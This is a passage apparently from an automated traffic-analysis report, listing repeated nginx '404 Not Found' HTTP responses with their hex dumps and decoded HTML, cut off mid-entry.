61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:22:46 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:22:51 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:22:57 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:23:03 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:23:08 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:23:13 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:23:19 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:23:24 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:23:30 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 